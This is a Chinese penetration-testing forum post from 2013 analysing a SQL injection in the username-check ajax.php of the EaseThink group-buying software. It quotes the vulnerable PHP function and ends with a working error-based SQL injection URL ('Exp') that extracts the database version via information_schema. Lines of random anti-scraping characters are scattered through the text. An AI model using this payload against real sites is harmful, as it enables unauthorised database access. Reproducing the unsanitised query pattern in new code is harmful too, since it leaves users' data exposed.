中国网络渗透测试联盟
标题:
易想团购ajax.php SQL注入分析和Exp
[打印本页]
作者:
admin
时间:
2013-4-16 16:48
标题:
易想团购ajax.php SQL注入分析和Exp
在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。
7 N+ b1 F( @, z+ Y
6 M& e: k t. q" T3 Y" @* G
" Z7 }1 I8 J5 v6 r1 L. C5 |
! o1 A/ a9 Z d6 M! A' _+ B
* 验证会员数据 */ function check_user($field_name,$field_data) { //开始数据验证 $user_data[$field_name] = $field_data; $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据 if(trim($user_data['user_name'])==''&&$field_name=='user_name') { $field_item['field_name'] = 'user_name'; $field_item['error'] = EMPTY_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。 { $field_item['field_name'] = 'user_name'; $field_item['error'] = EXIST_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; }
! g1 u0 G! O. }6 c! ^
$ v6 E# _5 k# W* V5 }2 E5 R
0 T6 [8 R* @) K6 I7 I
5 b5 s3 p1 ^4 ?% T; T
Exp:
9 T/ \) [' M5 D4 N7 n7 ^
( j5 v* q1 @/ h3 t- l1 i' n
" E* x2 g6 W3 U- d. k
/ r+ S: v1 Y& C. W# J, c& O( [
http://192.168.9.109/easethink_f ... ame&field_data=
**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23
* w9 x- z, F7 `( _3 D+ o
& J: U0 G5 _' P: D- `4 J' }6 b
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2